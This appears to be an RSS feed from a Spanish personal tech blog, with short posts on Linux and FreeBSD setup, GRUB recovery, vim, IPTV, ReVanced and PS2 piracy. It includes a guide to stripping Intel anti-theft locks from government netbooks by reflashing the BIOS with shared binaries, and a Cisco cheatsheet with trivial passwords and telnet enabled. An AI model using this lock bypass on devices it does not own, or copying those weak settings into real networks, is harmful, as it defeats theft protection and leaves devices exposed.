<p>Para bloquear las advertencias de cookies en la configuración de ublock (el engranage al apretar el icono de la extensión) te vas a la pestaña de filter lists, o litra de filtros y buscá annoyances, ahi activá adguard, y uBlock filters luego dale update now.</p>
-
Instalación de ArchLinux completa y cheatsheet de pacman
https://imlauera.github.io/post/instalacion_arch_basica/
Wed, 22 Nov 2023 02:05:50 -0300
https://imlauera.github.io/post/instalacion_arch_basica/
<p>Consejo: Documentá absolutamente todo es extremadamente útil no solo
para usar ArchLinux sino para cualquier tipo de trabajo.</p>
<p>Copiá <code>/etc/yt-dlp</code> y <code>/etc/mpv/mpv.conf</code></p>
<p>ANTES DE REINSTALAR ARCHLINUX TE SUGIERO COPIAR LAS SSH-KEYS PARA
NO TENER QUE CONFIGURAR UNA SSH KEY NUEVA SI USAS GITHUB.</p>
<p>Y COPIA LAS COOKIES DE TU NAVEGADOR (EN MI CASO USO FALKON BASADO
EN CHROMIUM) ESTA EXPLICADO en <a href="https://imlauera.github.io/lynx_cookies">https://imlauera.github.io/lynx_cookies</a>
como obtener las cookies de falkon.</p>
<p>TU CONFIGURACION DE JACKETT.</p>
-
Cómo ser parte de FreeBSD
https://imlauera.github.io/post/be_a_part_of_freebsd/
Tue, 21 Nov 2023 00:15:38 -0300
https://imlauera.github.io/post/be_a_part_of_freebsd/
<p>Me encanta lo fácil que es ser parte de FreeBSD:
Create una cuenta en <a href="https://bugs.freebsd.org/bugzilla/">https://bugs.freebsd.org/bugzilla/</a></p>
<p>Entrá a <a href="https://portscout.freebsd.org/">https://portscout.freebsd.org/</a> y buscá algún port desactualizado (o port sin mantenedor ( <a href="[email protected]">[email protected]</a> ))</p>
<p>Actualice el puerto (makefile), abra un informe de error, agregue su diferencia y listo… o solicite asumir el mantenimiento adicional de ese puerto.</p>
<p><a href="https://docs.freebsd.org/en/books/porters-handbook/">https://docs.freebsd.org/en/books/porters-handbook/</a></p>
-
Dos comandos de vim alucinantes
https://imlauera.github.io/post/comando_de_vim_alucinante/
Fri, 17 Nov 2023 00:46:54 -0300
https://imlauera.github.io/post/comando_de_vim_alucinante/
<p><strong>Alguna vez quisiste usar las keybindings de VIM al escribir un comando después de presionar Escape y los dos puntos (:) ?</strong></p>
<p>Bueno, hay una forma de hacerlo y es usando Control-F luego de escribir los dos puntos, ahí escribís el comando usando las keybindings y le das enter para ejecutarlo.</p>
<hr>
<p>Seleccionar todas las líneas que empiecen con una palabra y agregar algo al final y al comienzo de esas líneas seleccionadas</p>
-
Como quitar sistema anti-theft de Intel de las netbook
https://imlauera.github.io/post/como_desbloquear_notebook/
Thu, 16 Nov 2023 20:57:33 -0300
https://imlauera.github.io/post/como_desbloquear_notebook/
<h3 id="como-desarmarla">Como desarmarla</h3>
<p>En algunas computadoras tenés que sacar el teclado y sacar los tornillos que están debajo para desarmar la tapa de atrás.
En otras tenés que sacar dos gomas que están en la tapa cerca de la pantalla y debajo de cada una tienen dos tornillos.
En las más viejas tenés que desarmar todo desde arriba, sacar la placa madre y darle vuelta para encontrar la BIOS.</p>
<h5 id="requisitos">Requisitos</h5>
<p>Vas a necesitar los binarios y la pinza programadora CH341A (lo compré en ML y te trae una pinza con el programador CH341A).
La pinza te viene desarmada hay varios videos que explican como armarla.</p>
-
Binarios BIOS netbook gobierno
https://imlauera.github.io/post/binarios_netbook_gobierno/
Tue, 14 Nov 2023 23:50:56 -0300
https://imlauera.github.io/post/binarios_netbook_gobierno/
<h4 id="binarios-y-ch341a-programador">Binarios y CH341A programador:</h4>
<p><a href="https://archive.org/details/binarios-completos">https://archive.org/details/binarios-completos</a></p>
<p><a href="https://drive.google.com/file/d/1nxGWSd1SZyQSRJh0pkndBBtWskywZCCH/view?usp=sharing">https://drive.google.com/drive/folders/1Ps1OzNOGPYFCNRZjHnWoU-hdQ8O-Yknc</a></p>
<h4 id="backup">Backup:</h4>
<p>Binarios: <a href="https://drive.google.com/file/d/1KKZFmejxhf8V5m7NlPW7DUnX0mIVopFm/view?usp=sharing">https://drive.google.com/file/d/1KKZFmejxhf8V5m7NlPW7DUnX0mIVopFm/view?usp=sharing</a></p>
<p>CH341A programador: <a href="https://drive.google.com/file/d/1W4p-2VgvZbA93FWIWJ7SWmHCuCgd58_f/view?usp=sharing">https://drive.google.com/file/d/1W4p-2VgvZbA93FWIWJ7SWmHCuCgd58_f/view?usp=sharing</a></p>
<h4 id="videos-sobre-como-desarmar-la-netbook-y-como-usar-la-pinza">Videos sobre como desarmar la netbook y como usar la pinza.</h4>
<ol>
<li>
<p><a href="https://youtube.com/watch?v=R1FkJnQwl0g">https://youtube.com/watch?v=R1FkJnQwl0g</a></p>
</li>
<li>
<p><a href="https://youtube.com/watch?v=Qx2h6_UifKM">https://youtube.com/watch?v=Qx2h6_UifKM</a></p>
</li>
<li>
<p><a href="https://youtube.com/watch?v=Dj77cCAqtoc">https://youtube.com/watch?v=Dj77cCAqtoc</a></p>
</li>
<li>
<p><a href="https://youtube.com/watch?v=QmXHXhGWpcM">https://youtube.com/watch?v=QmXHXhGWpcM</a></p>
</li>
<li>
<p><a href="https://web.archive.org/web/20221005114316/https://www.fontana.com.ar/2016/08/19/reprogramando-la-bios-netbook/">https://web.archive.org/web/20221005114316/https://www.fontana.com.ar/2016/08/19/reprogramando-la-bios-netbook/</a></p>
</li>
</ol>
-
Gif to mp4
https://imlauera.github.io/post/gif_to_mp4/
Fri, 10 Nov 2023 22:41:22 -0300
https://imlauera.github.io/post/gif_to_mp4/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -i testing.gif -movflags faststart -pix_fmt yuv420p -vf <span style="color:#e6db74">"scale=trunc(iw/2)*2:trunc(ih/2)*2"</span> testing.mp4
</span></span></code></pre></div>
-
Algunos comentarios sobre FreeBSD vs Linux
https://imlauera.github.io/post/freebsd_vs_linux/
Fri, 10 Nov 2023 06:14:21 -0300
https://imlauera.github.io/post/freebsd_vs_linux/
<blockquote>
<p>La razón principal por la que uso FreeBSD en algunas configuraciones son las herramientas e interfaces más concisas del usuario. Y por supuesto, muy buena documentación. Incluso si no conoces FreeBSD, es realmente fácil aprender a utilizarlo.</p>
</blockquote>
<blockquote>
<p>Mis ventajas son ZFS, jails (iocage) y bhyve (vm-bhyve). Y un rendimiento extremadamente bueno. Puede ejecutar todo su Linux, Windows o cualquier servidor en máquinas virtuales. Puedes aislar tareas específicas en cárceles (samba, dlna o lo que sea). Lo más importante es que puede reemplazar sus unidades dentro de ZFS pools redundantes. Un único disco duro ya no es tan “importante”. Puede protegerse mediante instantáneas. El tiempo que pasé con FreeBSD valió la pena. Puede crear una infraestructura completa en un servidor y realizar una copia de seguridad fácilmente enviando instantáneas a otro servidor FreeBSD. Esto es pura confiabilidad. Llevo usando FreeBSD más de 14 años.</p>
-
Instalación y configuración inicial de FreeBSD
https://imlauera.github.io/post/freebsd_instalation/
Fri, 10 Nov 2023 04:52:12 -0300
https://imlauera.github.io/post/freebsd_instalation/
<h4 id="instalar-freebsd-configuración-inicial-instalar-xfce">Instalar freebsd, configuración inicial, instalar xfce</h4>
<p><a href="https://youtube.com/watch?v=Jg4YW-8Xr_g">https://youtube.com/watch?v=Jg4YW-8Xr_g</a><br>
<a href="https://youtube.com/watch?v=SQxReyTmtiE">https://youtube.com/watch?v=SQxReyTmtiE</a><br>
<a href="https://youtube.com/watch?v=ObQTHyvcdQ0">https://youtube.com/watch?v=ObQTHyvcdQ0</a></p>
<pre tabindex="0"><code>su
pkg update
pkg install xorg
pkg install xfce xfce4-goodies
pkg install slim (no es necesario es la pantalla de login)
pkg install dbus
</code></pre><p>Editá /etc/rc.conf</p>
<pre tabindex="0"><code>dbus_enable="YES"
#slim_enable="YES"
</code></pre><p>Editá .xinitrc</p>
<pre tabindex="0"><code>exec xfce4-session
</code></pre><p>Ahora ejecutá <code>startx</code></p>
<pre tabindex="0"><code>service dbus start
service slim start
</code></pre><pre tabindex="0"><code>pkg install openbox obconf kickshaw
</code></pre><p>Editá .xinitrc</p>
<pre tabindex="0"><code>exec openbox
</code></pre><pre tabindex="0"><code>kickshaw-gtk2
</code></pre><h3 id="agregar-wifi">Agregar wifi</h3>
<p><code>ifconfig</code> para ver cual es tu interfaz</p>
<pre tabindex="0"><code>dmesg | more (para buscar tu interfaz wifi)
ifconfig wlan0 create wlandev bwn0
ifconfig (para comprobar)
</code></pre><p>Ahora editamos <code>/etc/rc.conf</code></p>
-
CISCO ios port forwarding y dynamic dns(DDNS)
https://imlauera.github.io/post/cisco_ios_port_forwarding_y_dynamic_dns/
Fri, 10 Nov 2023 04:52:04 -0300
https://imlauera.github.io/post/cisco_ios_port_forwarding_y_dynamic_dns/
<p>Basic Configuration: <a href="https://youtube.com/watch?v=3wuFFYVWnbc">https://youtube.com/watch?v=3wuFFYVWnbc</a></p>
<p>Port Forwarding: <a href="https://youtube.com/watch?v=8WVWoW86Uhw">https://youtube.com/watch?v=8WVWoW86Uhw</a></p>
<p>Dynamic DNS: <a href="https://youtube.com/watch?v=Zh39hgRJwGE">https://youtube.com/watch?v=Zh39hgRJwGE</a></p>
<p><a href="https://content.cisco.com/chapter.sjs?uri=/searchable/chapter/content/en/us/td/docs/ios-xml/ios/ipaddr_dns/configuration/15-sy/dns-15-sy-book/Dynamic-DNS-Support.html.xml">https://content.cisco.com/chapter.sjs?uri=/searchable/chapter/content/en/us/td/docs/ios-xml/ios/ipaddr_dns/configuration/15-sy/dns-15-sy-book/Dynamic-DNS-Support.html.xml</a></p>
<p><a href="https://ipwithease.com/how-to-configure-ddns-in-a-cisco-router/">https://ipwithease.com/how-to-configure-ddns-in-a-cisco-router/</a></p>
<p>DDNS y NoIP: <a href="https://www.firewall.cx/cisco/cisco-routers/cisco-router-ddns.html">https://www.firewall.cx/cisco/cisco-routers/cisco-router-ddns.html</a></p>
<p>Setup DNNS on a Cisco IOS Router: <a href="https://www.bytesolutions.com/setup-ddns-dynamic-dns-cisco-ios-router/">https://www.bytesolutions.com/setup-ddns-dynamic-dns-cisco-ios-router/</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>=================================
</span></span><span style="display:flex;"><span>Basic Router Commands
</span></span><span style="display:flex;"><span>=================================
</span></span><span style="display:flex;"><span>Router(greater than sign) ---User EXEC mode exit
</span></span><span style="display:flex;"><span>Router(greater than sign) ?
</span></span><span style="display:flex;"><span>Router(greater than sign) enable
</span></span><span style="display:flex;"><span>---------------
</span></span><span style="display:flex;"><span>Router# ---Privileged EXEC mode disable, exit
</span></span><span style="display:flex;"><span>Router# ?
</span></span><span style="display:flex;"><span>-----------------
</span></span><span style="display:flex;"><span>Router# configure terminal
</span></span><span style="display:flex;"><span>Router(config)# ---Global Config mode exit, end, Ctrl+c, Ctrl+z
</span></span><span style="display:flex;"><span>Router(config)# ?
</span></span><span style="display:flex;"><span>-----------------
</span></span><span style="display:flex;"><span>Router(config)# line vty 0 15
</span></span><span style="display:flex;"><span>Router(config)# line console 0
</span></span><span style="display:flex;"><span>Router(config-line)# ---Line configuration mode exit, end, Ctrl+c, Ctrl+z
</span></span><span style="display:flex;"><span>Router(config-line)# ?
</span></span><span style="display:flex;"><span>----------------------------
</span></span><span style="display:flex;"><span>Router(config)# interface gigabitEthernet 0/0/0
</span></span><span style="display:flex;"><span>Router(config-if)# ---Interface configuration mode exit, end, Ctrl+c, Ctrl+z
</span></span><span style="display:flex;"><span>Router(config-if)# ?
</span></span><span style="display:flex;"><span>----------------------------
</span></span><span style="display:flex;"><span>Router#
</span></span><span style="display:flex;"><span>Router# configure terminal
</span></span><span style="display:flex;"><span>Router# show ?
</span></span><span style="display:flex;"><span>Router# show running-config
</span></span><span style="display:flex;"><span>Router# copy running-config startup-config
</span></span><span style="display:flex;"><span>Router# ping 192.168.1.100
</span></span><span style="display:flex;"><span>Router# traceroute 192.168.1.100
</span></span><span style="display:flex;"><span>Router# ssh 192.168.1.100
</span></span><span style="display:flex;"><span>Router# telnet 192.168.1.100
</span></span><span style="display:flex;"><span>Router# debug ?
</span></span><span style="display:flex;"><span>Router# clock set 07:14:00 October 15 2019
</span></span><span style="display:flex;"><span>Router# reload
</span></span><span style="display:flex;"><span>---------------------------------
</span></span><span style="display:flex;"><span>Router(conf)#
</span></span><span style="display:flex;"><span>Router(conf)# hostname R1
</span></span><span style="display:flex;"><span>Router(conf)# banner motd "No unauthorized access allowed!"
</span></span><span style="display:flex;"><span>Router(conf)# enable password class
</span></span><span style="display:flex;"><span>Router(conf)# enable secret class
</span></span><span style="display:flex;"><span>Router(conf)# service password-encryption
</span></span><span style="display:flex;"><span>Router(config)# line vty 0 15
</span></span><span style="display:flex;"><span>Router(config)# line console 0
</span></span><span style="display:flex;"><span>Router(config)# interface gigabitEthernet 0/0/0
</span></span><span style="display:flex;"><span>----------------------------------------------------
</span></span><span style="display:flex;"><span>Router(config-line)#
</span></span><span style="display:flex;"><span>Router(config-line)# password cisco
</span></span><span style="display:flex;"><span>Router(config-line)# login
</span></span><span style="display:flex;"><span>Router(config-line)# transport input all (line vty)
</span></span><span style="display:flex;"><span>----------------------------------------------------
</span></span><span style="display:flex;"><span>Router(config-if)#
</span></span><span style="display:flex;"><span>Router(config-if)# interface gigabitEthernet 0/0/0
</span></span><span style="display:flex;"><span>Router(config-if)# int g0/0 //command abbreviation
</span></span><span style="display:flex;"><span>Router(config-if)# ip address 192.168.1.1 255.255.255.0
</span></span><span style="display:flex;"><span>Router(config-if)# no shutdown
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>=================================
</span></span><span style="display:flex;"><span>Basic Switch Commands
</span></span><span style="display:flex;"><span>=================================
</span></span><span style="display:flex;"><span>Switch(greater than sign) ---User EXEC mode exit
</span></span><span style="display:flex;"><span>Switch(greater than sign) enable
</span></span><span style="display:flex;"><span>---------------
</span></span><span style="display:flex;"><span>Switch# ---Privileged EXEC mode disable, exit
</span></span><span style="display:flex;"><span>-----------------
</span></span><span style="display:flex;"><span>Switch# configure terminal
</span></span><span style="display:flex;"><span>Switch(config)# ---Global Config mode exit, end, Ctrl+c, Ctrl+z
</span></span><span style="display:flex;"><span>-----------------
</span></span><span style="display:flex;"><span>Switch(config)# line vty 0 15
</span></span><span style="display:flex;"><span>Switch(config)# line console 0
</span></span><span style="display:flex;"><span>Switch(config-line)# ---Line configuration mode exit, end, Ctrl+c, Ctrl+z
</span></span><span style="display:flex;"><span>----------------------------
</span></span><span style="display:flex;"><span>Switch(config)# interface vlan 1
</span></span><span style="display:flex;"><span>Switch(config-if)# ---Interface configuration mode exit, end, Ctrl+c, Ctrl+z
</span></span><span style="display:flex;"><span>----------------------------
</span></span><span style="display:flex;"><span>Switch#
</span></span><span style="display:flex;"><span>Switch# configure terminal
</span></span><span style="display:flex;"><span>Switch# show ?
</span></span><span style="display:flex;"><span>Switch# show running-config
</span></span><span style="display:flex;"><span>Switch# copy running-config startup-config
</span></span><span style="display:flex;"><span>Switch# ping 192.168.1.100
</span></span><span style="display:flex;"><span>Switch# traceroute 192.168.1.100
</span></span><span style="display:flex;"><span>Switch# ssh 192.168.1.100
</span></span><span style="display:flex;"><span>Switch# telnet 192.168.1.100
</span></span><span style="display:flex;"><span>Switch# debug ?
</span></span><span style="display:flex;"><span>Switch# clock set 07:14:00 October 15 2019
</span></span><span style="display:flex;"><span>Switch# reload
</span></span><span style="display:flex;"><span>---------------------------------
</span></span><span style="display:flex;"><span>Switch(conf)#
</span></span><span style="display:flex;"><span>Switch(conf)# hostname R1
</span></span><span style="display:flex;"><span>Switch(conf)# banner motd "No unauthorized access allowed!"
</span></span><span style="display:flex;"><span>Switch(conf)# enable password class
</span></span><span style="display:flex;"><span>Switch(conf)# enable secret class
</span></span><span style="display:flex;"><span>Switch(conf)# service password-encryption
</span></span><span style="display:flex;"><span>Switch(config)# line vty 0 15
</span></span><span style="display:flex;"><span>Switch(config)# line console 0
</span></span><span style="display:flex;"><span>Switch(config)# interface vlan 1
</span></span><span style="display:flex;"><span>----------------------------------------------------
</span></span><span style="display:flex;"><span>Switch(config-line)#
</span></span><span style="display:flex;"><span>Switch(config-line)# password cisco
</span></span><span style="display:flex;"><span>Switch(config-line)# login
</span></span><span style="display:flex;"><span>Switch(config-line)# transport input all (line vty)
</span></span><span style="display:flex;"><span>----------------------------------------------------
</span></span><span style="display:flex;"><span>Switch(config-if)#
</span></span><span style="display:flex;"><span>Switch(config-if)# interface vlan 1
</span></span><span style="display:flex;"><span>Switch(config-if)# ip address 192.168.1.2 255.255.255.0
</span></span><span style="display:flex;"><span>Switch(config-if)# no shutdown
</span></span><span style="display:flex;"><span>Switch(config-if)# exit
</span></span><span style="display:flex;"><span>Switch(config)# ip default-gateway 192.168.1.1
</span></span></code></pre></div>
-
Subir capturas con una esp32 webcam a google drive
https://imlauera.github.io/post/esp32_webcam_google_drive/
Fri, 10 Nov 2023 04:51:54 -0300
https://imlauera.github.io/post/esp32_webcam_google_drive/
<p>El ESP32 siempre pierde la conexión con la WiFi y cuando corta la luz tenés que esperar 15 minutos para volver a conectarte agregando un delay al comienzo y a veces la conexión wifi al ser tan pobre tenes que subir foto de menor calidad, entonces tenes 3 opciones:</p>
<ol>
<li>
<p>Escribir funciones para detectar si se ha perdido la conexión y volver a reconectarse.</p>
</li>
<li>
<p>Escribir un perro guardían (watchdog): <a href="https://github.com/TronixLab/ESP32_Watchdog">https://github.com/TronixLab/ESP32_Watchdog</a></p>
</li>
<li>
<p>Reinicialo cada 10 minutos pero para hacer esto tenés que desactivar los sensores
y escribir manualmente la configuración porque sino siempre van a volver a su valor
por defecto.</p>
-
Descubrir canales iptv activos
https://imlauera.github.io/post/descubrir_canales_iptv_activos/
Fri, 10 Nov 2023 04:51:41 -0300
https://imlauera.github.io/post/descubrir_canales_iptv_activos/
<p>Si googlean iptv list m3u se encontrarán con listas de url de canales enormes, en vez de probar 1 por 1 pueden guardar la lista en un archivo y recorrerla con el siguiente comando:</p>
<pre tabindex="0"><code>for url in $(cat iptv_list.txt); do mpv --script-opts=iptv=1 $url; done
</code></pre><p>Ojo: Necesitan instalar iptv mpv que lo bajan acá: <a href="https://github.com/gthreepw00d/mpv-iptv">https://github.com/gthreepw00d/mpv-iptv</a></p>
<p>Probablemente se puede utilizar ese script para buscar canales de una forma mas eficiente.</p>
-
Recuperar grub en debian desde usb live
https://imlauera.github.io/post/recuperar_grub_debian_usb_live/
Fri, 10 Nov 2023 04:51:31 -0300
https://imlauera.github.io/post/recuperar_grub_debian_usb_live/
<p>¿UEFI o BIOS? La forma más sencilla de saber si el sistema se ha iniciado en modo UEFI o BIOS es buscar una carpeta /sys/firmware/efi. La carpeta estará presente si su sistema utiliza UEFI.</p>
<p>Mejor mirá como instalé el GRUB en ArchLinux bajo UEFI y agregá la opción <code>--removable</code> si cuando booteás te lleva a la EFI shell, y en caso de archlinux no hace falta hacer <code>mount --bind</code> sino que sólo con montar la particion de root y de efi y ejecutar <code>arch-chroot /mnt</code> basta.</p>
-
Modificar el layout del teclado en GNU/linux a español
https://imlauera.github.io/post/keyboard_configuration_linux/
Thu, 09 Nov 2023 19:51:46 -0300
https://imlauera.github.io/post/keyboard_configuration_linux/
<p>Generalmente yo uso el idioma del sistema operativo en ingles, así es más fácil googlear los errores y mi distribución de teclado español de españa.
En <code>/etc/X11/xorg.conf.d/00-keyboard.conf</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span># dpkg-reconfigure keyboard-configuration
</span></span><span style="display:flex;"><span># localectl --no-convert set-x11-keymap es pc104
</span></span><span style="display:flex;"><span># service keyboard-setup restart
</span></span></code></pre></div><p>O editalo manualmente modificando el archivo /etc/X11/xorg.conf.d/00-keyboard.conf</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span># Read and parsed by systemd-localed. It<span style="color:#960050;background-color:#1e0010">'</span>s probably wise not to edit this file
</span></span><span style="display:flex;"><span># manually too freely.
</span></span><span style="display:flex;"><span>Section "InputClass"
</span></span><span style="display:flex;"><span> Identifier "system-keyboard"
</span></span><span style="display:flex;"><span> MatchIsKeyboard "on"
</span></span><span style="display:flex;"><span> Option "XkbLayout" "es"
</span></span><span style="display:flex;"><span> Option "XkbModel" "pc105"
</span></span><span style="display:flex;"><span>EndSection
</span></span></code></pre></div><p>O podés ejecutar el siguiente comando: <code>localectl --no-convert set-x11-keymap es pc104</code></p>
-
Recuperar grub debian desde USB live
https://imlauera.github.io/post/recuperar_grub_debian_desde_usb_live/
Wed, 08 Nov 2023 14:29:18 -0300
https://imlauera.github.io/post/recuperar_grub_debian_desde_usb_live/
<p>¿UEFI o BIOS? La forma más sencilla de saber si el sistema se ha iniciado en modo UEFI o BIOS es buscar una carpeta /sys/firmware/efi. La carpeta estará presente si su sistema utiliza UEFI.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sudo grub-install /dev/sdX
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>fdisk -l ó lsblk
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>for i in /dev /dev/pts /proc /sys /run; do mount -B $i /mnt$i; done
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sudo chroot /mnt
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sudo grub-install /dev/sda
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sudo update-grub
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ mount /dev/sdaY /mnt
</span></span><span style="display:flex;"><span>$ mount --bind /dev /mnt/dev
</span></span><span style="display:flex;"><span>$ mount --bind /dev/pts /mnt/dev/pts
</span></span><span style="display:flex;"><span>$ mount --bind /proc /mnt/proc
</span></span><span style="display:flex;"><span>$ mount --bind /sys /mnt/sys
</span></span><span style="display:flex;"><span>$ chroot /mnt
</span></span><span style="display:flex;"><span>$ grub-install /dev/sdX
</span></span><span style="display:flex;"><span>$ update-grub
</span></span><span style="display:flex;"><span>$ exit
</span></span><span style="display:flex;"><span>$ umount /mnt/dev/pts
</span></span><span style="display:flex;"><span>$ umount /mnt/dev
</span></span><span style="display:flex;"><span>$ umount /mnt/proc
</span></span><span style="display:flex;"><span>$ umount /mnt/sys
</span></span><span style="display:flex;"><span>$ umount /mnt
</span></span></code></pre></div><h3 id="otra-forma">Otra forma</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ sudo mount /dev/sdXY /mnt
</span></span><span style="display:flex;"><span>$ sudo mount /dev/sda1/mnt/boot/efi <span style="color:#75715e">#use only if /boot is on a different partition</span>
</span></span><span style="display:flex;"><span>$ <span style="color:#66d9ef">for</span> i in /dev /dev/pts /proc /sys /run; <span style="color:#66d9ef">do</span> sudo mount -B $i /mnt$i; <span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>$ sudo chroot /mnt
</span></span><span style="display:flex;"><span>$ grub-install /dev/sda
</span></span><span style="display:flex;"><span>$ update-grub
</span></span></code></pre></div><h3 id="otra-forma-1">Otra forma</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sudo mount /dev/sda1 /mnt
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sudo grub-install --boot-directory=/mnt/boot /dev/sda
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sudo mount /dev/sda1 /mnt
</span></span></code></pre></div><h3 id="otra-forma-2">Otra forma</h3>
<p>Precaución cambiá el nombre de las particiones.</p>
-
Correr juegos pirateados en la PS2 (Instalá funtuna)
https://imlauera.github.io/post/install_funtuna_ps2_load_linux/
Sun, 22 Oct 2023 05:17:35 -0300
https://imlauera.github.io/post/install_funtuna_ps2_load_linux/
<p>Como máximo podes instalar 6 juegos en un pendrive de 30GB, depende del juego obviamente God of War II (considerado el mejor juego por muchos) pesa 9GB extraído. Si pesa más de 4GB tenes que usar OPL (aunque yo use OPL para todos).</p>
<p>Yo instalé God Of War II, GTA San Andreas, KillZone, Metal Gear Solid 3, Baldur, y se llenó.</p>
<h3 id="como-usar-internet-en-la-ps2-a-través-de-una-computadora">Como usar internet en la ps2 a través de una computadora:</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Hello, use <span style="color:#e6db74">"Internet Connection Sharing"</span> on Windows. Open up a Windows Explorer window and copy this: Control Panel<span style="color:#ae81ff">\A</span>ll Control Panel Items<span style="color:#ae81ff">\N</span>etwork and Sharing Center
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Then, click change adapter settings.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Next, right click your Wifi Adapter, click on Properties
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>From there, click the Sharing tab.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Finally, Check off both boxes and <span style="color:#66d9ef">select</span> your LAN Adapter from the menu between the two check boxes. You will need to open up the <span style="color:#e6db74">"Settings"</span> menu in that window and also check off all the other boxes.
</span></span></code></pre></div><p>Hello, use “Internet Connection Sharing” on Windows. Open up a Windows Explorer window and copy this: Control Panel\All Control Panel Items\Network and Sharing Center</p>
-
Sistemas operativos originales diferentes basados en Unix
https://imlauera.github.io/post/sistemas_operativos_originales_diferentes_unix/
Thu, 19 Oct 2023 05:51:22 -0300
https://imlauera.github.io/post/sistemas_operativos_originales_diferentes_unix/
<h4 id="collapseos">CollapseOS</h4>
<h4 id="templeos">TempleOS</h4>
<h4 id="serenityos">SerenityOS</h4>
<h4 id="haiku">Haiku</h4>
<h4 id="arcaos">ArcaOS</h4>
<h4 id="redox">Redox</h4>
<h4 id="plan9">Plan9</h4>
<h4 id="kolibrios">KolibriOS</h4>
<h4 id="genera">Genera</h4>
<p>Fuente: <a href="https://www.genbeta.com/a-fondo/9-sistemas-operativos-originales-diferentes-plan9-a-collapseos">https://www.genbeta.com/a-fondo/9-sistemas-operativos-originales-diferentes-plan9-a-collapseos</a></p>
-
YouTube Revanced: Parchear youtube desde la consola
https://imlauera.github.io/post/revanced_parchear_youtube_desde_la_consola/
Mon, 16 Oct 2023 08:24:29 -0300
https://imlauera.github.io/post/revanced_parchear_youtube_desde_la_consola/
<p>Anteriormente explique como parchear youtube usando revanced-manager desde android directamente, el problema es que para dispositivos con armv7 no esta bien soportado, entonces podés parchearlo desde la computadora con la siguiente guía:</p>
<h4 id="ojo-este-generador-ya-no-se-usa-mas-porque-todos-los-parches-son-aplicados-automaticamente">OJO: ESTE GENERADOR YA NO SE USA MAS PORQUE TODOS LOS PARCHES SON APLICADOS AUTOMATICAMENTE</h4>
<p>Guía:
<a href="https://thismoon.github.io/revanced-helper/">https://thismoon.github.io/revanced-helper/</a></p>
<p>Bajate el jar de<br>
<a href="https://github.com/ReVanced/revanced-cli/releases">https://github.com/ReVanced/revanced-cli/releases</a><br>
y los apk de <br>
<a href="https://github.com/ReVanced/revanced-integrations/releases">https://github.com/ReVanced/revanced-integrations/releases</a><br>
